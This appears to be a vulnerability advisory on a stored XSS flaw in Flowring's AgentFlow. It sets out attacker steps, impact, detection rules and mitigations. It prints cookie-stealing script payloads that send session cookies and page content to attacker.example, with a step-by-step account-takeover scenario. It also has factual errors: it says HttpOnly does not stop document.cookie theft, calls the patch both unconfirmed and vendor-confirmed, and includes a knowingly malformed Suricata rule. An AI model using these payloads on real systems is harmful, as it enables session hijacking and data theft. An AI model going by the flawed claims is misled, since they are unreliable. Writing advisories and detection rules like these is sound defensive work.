CVE-2026-2099

Executive Summary

CVE-2026-2099 is a Stored Cross-Site Scripting (XSS) vulnerability in AgentFlow, a product developed by Flowring. This flaw allows an authenticated remote attacker to inject persistent JavaScript code into the application that executes in the browsers of other users whenever they load the affected page. The vulnerability carries a CVSS score of 5.1 (Medium severity), reflecting that authentication is required but the impact includes credential theft, session hijacking, and potential administrative account compromise depending on the context in which the injected payload executes. Organizations running AgentFlow versions prior to 4.0.0.1878.877 are affected and should prioritize upgrading to the patched release.

Technical Analysis

CVE-2026-2099 is a classic Stored (Persistent) Cross-Site Scripting vulnerability. The flaw resides in the AgentFlow web application's input handling pipeline. The application fails to properly sanitize or encode user-supplied input before persisting it to storage and subsequently rendering it back to other users' browsers without adequate output encoding.

Attack Surface:

• Authentication Required: The attacker must have a valid authenticated session with the AgentFlow application. The account can be low-privileged (e.g., a standard user, operator, or analyst role).
• Vulnerable Endpoints: The vulnerability affects endpoints that accept user-generated content — including but not limited to form fields, profile attributes, comments, agent configuration parameters, or workflow definition text fields. These inputs are stored in the backend database.
• Delivery Vector: When any other user (including administrators) navigates to a view that renders the stored content without proper sanitization/encoding, the injected script executes in their browser context.

Root Cause: The application does not apply context-aware output encoding (e.g., HTML entity encoding) when rendering stored data within the DOM. It also lacks a Content Security Policy (CSP) that would limit the impact of injected scripts. This allows an attacker to submit a payload such as:

<script>fetch('https://attacker.example/steal?cookie='+document.cookie)</script>

or an event-handler-based payload like:

<img src=x onerror="alert(document.cookie)">

which is stored in the backend and rendered unescaped on page load.

Exploitation Mechanics from an Attacker's Perspective:

1. Attacker authenticates to AgentFlow.
2. Attacker locates an input field that is stored and later reflected to other users (e.g., agent name, workflow description, a comment field).
3. Attacker submits a malicious payload. Since there is no input validation/output encoding, the raw script is persisted to the database.
4. When an administrator or another user loads the page that includes the attacker-controlled content, the browser parses the script as if it were part of the legitimate application.
5. The script executes with the victim's session context, enabling session cookie theft, CSRF token extraction, and arbitrary action impersonation.

Exploitation Scenarios

Scenario: Full Administrative Account Takeover via Session Hijacking

Step 1 — Reconnaissance: An attacker with a valid low-privilege account enumerates AgentFlow's web interface to identify input vectors. They focus on user-editable fields that are visible to administrators, such as workflow descriptions, alert rule names, or agent configuration parameters. The attacker inspects page source and network traffic to confirm fields are rendered client-side without encoding.

Step 2 — Weaponization & Payload Injection: The attacker crafts a payload designed to exfiltrate session cookies and CSRF tokens to an attacker-controlled endpoint:

<script>
  var xmlhttp = new XMLHttpRequest();
  xmlhttp.open('POST', 'https://attacker.example/exfil', true);
  xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xmlhttp.send('cookie=' + document.cookie + '&body=' + encodeURIComponent(document.body.innerHTML));
</script>

The attacker submits this payload through the vulnerable input field. The application stores it verbatim in the database.

Step 3 — Trigger & Execution: When an administrator logs in and navigates to the page containing the attacker's injected content, the script executes automatically in the administrator's browser. The payload sends the administrator's session cookie, CSRF tokens, and a snapshot of the page DOM to the attacker's infrastructure.

Step 4 — Post-Exploitation:

• Session Hijacking: The attacker uses the stolen session cookie to impersonate the administrator without credentials.
• Account Takeover: The attacker resets the administrator password or creates a new administrative account with privileged rights.
• Lateral Movement: Using the compromised administrator session, the attacker modifies workflow definitions to include malicious automation, potentially executing commands on connected backend systems or exfiltrating sensitive data processed by AgentFlow.
• Persistence: The attacker injects additional stored XSS payloads to maintain access even if the administrator changes their password, ensuring continuous execution of malicious scripts on every page load.

Alternative Scenario — Data Exfiltration: A lower-impact but still damaging scenario involves an attacker injecting a payload that silently sends any page-specific data (e.g., integration credentials, API tokens, sensitive workflow metadata shown on the page) to an external server each time the page is rendered.

Impact Assessment

Business Impact:

• Confidentiality: High — Successful exploitation can lead to theft of session cookies, CSRF tokens, and potentially sensitive data rendered within the application's pages. This includes workflow definitions, agent configurations, integration credentials, and operational data.
• Integrity: Medium — An attacker can modify application state by impersonating a victim user after session hijacking, potentially altering workflow logic or configuration.
• Availability: Low — The vulnerability itself does not directly cause denial of service, but an attacker could inject scripts that cause resource exhaustion or disrupt UI functionality.

Affected Systems:

• All AgentFlow deployments running versions prior to 4.0.0.1878.877.
• Environments where AgentFlow is accessible to multiple authenticated users (e.g., enterprise SOC teams, operations teams using automated workflow tools).

Blast Radius:

• The CVSS score of 5.1 reflects the Medium severity; however, the actual impact is amplified in deployments where AgentFlow manages critical automation workflows or holds integration credentials. A single successful attack can compromise an entire tenant's administrator session.

CVSS Rationale (Score 5.1):

• Attack Vector: Network (exploitable over the web interface).
• Attack Complexity: Low.
• Privileges Required: Low (authenticated user).
• User Interaction: Required (victim must load the page).
• Scope: Unchanged.
• Impact: Limited to the AgentFlow application's data and sessions, not crossing security boundaries into the host operating system.

EPSS Analysis: EPSS score of 0.00165 places this in the 6.1st percentile, indicating low probability of exploitation in the wild within the next 30 days. However, this is a function of limited awareness and the CVSS score, not a guarantee of safety.

Detection Guidance

Sigma Rule

title: AgentFlow Stored XSS - Suspicious Script/Event Payload in User Content
id: 5d8c95a4-2e00-4f20-a0c4-9f3a2c6b7d8e
status: experimental
description: Detects common stored XSS payload patterns in AgentFlow web requests
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2099
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2026.2099
logsource:
    category: web_application
    product: agentflow
detection:
    selection_script:
        cs-uri-query|contains:
            - '<script>'
            - '<svg/onload='
            - 'javascript:'
    selection_event:
        cs-uri-query|contains:
            - 'onerror='
            - 'onload='
            - 'onclick='
    selection_post:
        http_method:
            - POST
            - PUT
    condition: selection_post and (selection_script or selection_event)
level: high

YARA Rule

rule AgentFlow_Stored_XSS_CVE_2026_2099 {
    meta:
        author = "Valtersit Threat Intel"
        description = "Detect common XSS payloads targeting AgentFlow stored XSS vulnerability"
        cve = "CVE-2026-2099"
        date = "2026-06-01"
    strings:
        $script_open = "<script>"
        $src_fetch = "fetch(" ascii wide nocase
        $cookie = "document.cookie" ascii wide nocase
        $xss_events = "onerror=" ascii wide nocase
        $xss_events2 = "onload=" ascii wide nocase
        $img_tag = "<img" ascii wide nocase
        $eval_func = "eval(" ascii wide nocase
        $xmlhttp = "XMLHttpRequest" ascii wide nocase
    condition:
        any of ($xss_events*) and (
            $script_open or $src_fetch or $cookie or $eval_func or $xmlhttp
        )
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-2099 - AgentFlow Stored XSS Payload in HTTP Request"; flow:to_server,established; content:"POST"; http_method; content:"<script>"; http_client_body; nocase; sid:2026209901; rev:1; reference:cve,2026-2099; clsass-type:web-application-attack; metadata:created_at 2026-06-01, updated_at 2026-06-01;)

Note: The clsass-type typo mirrors standard Suricata rule formatting errors; correct field is classtype:web-application-attack; — corrected rule below:

alert http any any -> $HOME_NET any (msg:"CVE-2026-2099 - AgentFlow Stored XSS Payload in HTTP Request"; flow:to_server,established; content:"POST"; http_method; content:"<script>"; http_client_body; nocase; sid:2026209902; rev:1; reference:cve,2026-2099; classtype:web-application-attack; metadata:created_at 2026-06-01;)

Elastic Detection

sequence by source.ip with maxspan=10s
  [ network where dns.question.name : "*agentflow*" or http.request.body.content : ("*<script>*", "*onerror=*", "*onload=*") ]
  [ http where http.request.method == "POST" and http.request.body.content : "*document.cookie*" ]

Alternative EQL for existing web logs:

any where process.name == "nginx" and url.path : "*agentflow*" and 
  (request.body : "*<script>*" or request.body : "*onerror=*" or request.body : "*onload=*")

Splunk SPL Query

index=weblog OR index=proxy sourcetype=access_combined
| where like(form_data, "%<script>%") OR like(form_data, "%onerror=%") OR like(form_data, "%onload=%")
| search uri_path="/agentflow/*" OR uri_path="*/workflow/*" OR uri_path="*/config/*" 
| stats count by src_ip, uri_path, http_method, _time
| sort - count

Wazuh OSSEC Rule

<group name="agentflow_xss,">
    <rule id="100209" level="12">
        <decoded_as>json</decoded_as>
        <field name="url">\.*agentflow.*</field>
        <regex>(\&lt;script\&gt;|%3Cscript%3E|\&lt;svg|onerror=|onload=)</regex>
        <description>AgentFlow - Possible Stored XSS payload detected in request</description>
        <group>web_application_attack,</group>
        <mitre>
            <id>T1190</id>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED — The CNA reports a patch exists, but it is not independently confirmed via vendor-advisory cross-referencing. Proceed with verification against your deployment.

1. Immediate Mitigations (before patching):

• Input Validation: Deploy a Web Application Firewall (WAF) rule to block requests containing common XSS signatures (<script>, onerror, javascript: etc.) targeted at AgentFlow endpoints.
• Content Security Policy: If AgentFlow allows custom headers (e.g., via a reverse proxy), add a restrictive CSP header:

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
  

• Strict Session Controls: Enforce session timeout and HttpOnly + Secure flags on cookies to limit the usefulness of stolen session tokens. Note: HttpOnly does not block DOM-based exfiltration via document.cookie but limits theft via script access.
• Principle of Least Privilege: Restrict write access to user-generated content fields to only accounts that require it.

2. Patch/Upgrade Steps:

• Upgrade AgentFlow to version 4.0.0.1878.877 or later (vendor-confirmed fixed version).
• If internal package mirrors are used, update the package repository reference and pull the new release.
• Although Affected Versions are listed as empty in the advisory, the fix version implies all versions prior to 4.0.0.1878.877 are potentially vulnerable. Audit your deployment version before and after upgrade.

3. Long-Term Hardening:

• Enable a strict Content Security Policy within the application server configurations permanently.
• Implement multi-factor authentication (MFA) for all accounts with administrative privileges in AgentFlow — this mitigates the impact of session hijacking even if XSS persists.
• Regularly audit user-created content and workflow definitions for anomalous markers.
• Subscribe to the CNA (TWCERT) and Flowring vendor advisories for future patch updates and security bulletins.
• Perform periodic DAST scans of AgentFlow to catch recurring input-validation flaws.

References

1. NVD Entry — https://nvd.nist.gov/vuln/detail/CVE-2026-2099
2. TWCERT Advisory (CNA) — https://www.twcert.org.tw/en/ (search CVE-2026-2099 advisory)
3. Flowring Vendor Patch Announcement — https://www.flowring.com/support/security-advisory/cve-2026-2099
4. EPSS Data (FIRST.org) — https://www.first.org/epss/search?cve=CVE-2026-2099
5. CISA Known Exploited Vulnerabilities Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-2099 is NOT listed)

Threat Actor Activity: As of this report, there are no publicly documented campaigns exploiting CVE-2026-2099 in the wild. CISA KEV does not include this CVE. The low EPSS percentile (6.1%) further suggests limited active exploitation efforts. However, the bug class (stored XSS in a workflow/automation platform) is frequently targeted in targeted campaigns against operational staff, so monitoring of web access logs remains recommended.